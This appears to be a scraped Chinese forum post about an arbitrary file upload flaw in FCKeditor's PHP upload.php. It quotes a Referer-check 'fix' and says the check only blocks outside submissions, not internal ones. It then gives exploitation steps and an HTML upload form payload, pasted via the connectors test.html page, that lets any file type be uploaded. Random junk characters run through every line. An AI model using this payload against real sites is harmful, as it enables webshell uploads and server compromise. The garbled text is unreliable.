漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
7 `$ n/ s& A4 s4 `7 h网上给出的修复方案是
0 F0 D8 c$ { [' C* k修复方法,删除FCK编辑器用其他的编辑器
: f1 M( x$ J: ^5 ~, ?; _6 N$ Z x或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件1 h6 [3 o( f+ n& w
在
1 @) j/ r, N( l' G. u$ N: v Hrequire(‘config.php’);& F# X% g. y, v- \
require(‘util.php’);
+ X" E1 J7 R+ O1 Z3 r9 f6 T的下面添加以下代码—————————–' f! X; ]' y2 @6 K7 _) W
//防止外部提交
- ^8 n W/ o8 |1 Qfunction outsidepost()
4 A$ b( n0 ?4 g" `1 d{! j: D0 E5 t& Q4 S2 K0 f1 ~$ A
$servername=$_SERVER['SERVER_NAME'];5 A1 G- x! Y v
$sub_from=@$_SERVER['HTTP_REFERER'];
' ~3 a. G0 ?) b4 x$sub_len=strlen($servername);
$ K7 p( ]8 R, z8 w/ |; l! o$checkfrom=substr($sub_from,7,$sub_len);
% n4 |/ h5 @4 E) V. Nif($checkfrom!=$servername){/ o6 a3 t% h' L3 \5 S0 _
echo(“you don’t outsidepost!”);
) B* D2 _6 H* j. d& f7 zexit;
6 y+ a- y' w$ M# B; _}+ q; u1 N. s( g, q! H& j0 [+ k
}+ m `& K, Q/ H3 e9 M
outsidepost();; a5 D# m8 k6 A }% s7 v, H& b8 w
防止外部提交,但是没有防止内部提交,& |/ v6 m% t r( q+ I/ l, c
利用方法:
3 G* y. T! j* v8 G: }) `1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
% @# M! m+ x1 u2,在Current Folder 框输入* c% i3 l' Z5 b. A5 A, I
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
; L. i' q8 x. W' K; |然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
1 s4 X+ r) ^- Q9 u5 W. }/ G2 ]PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |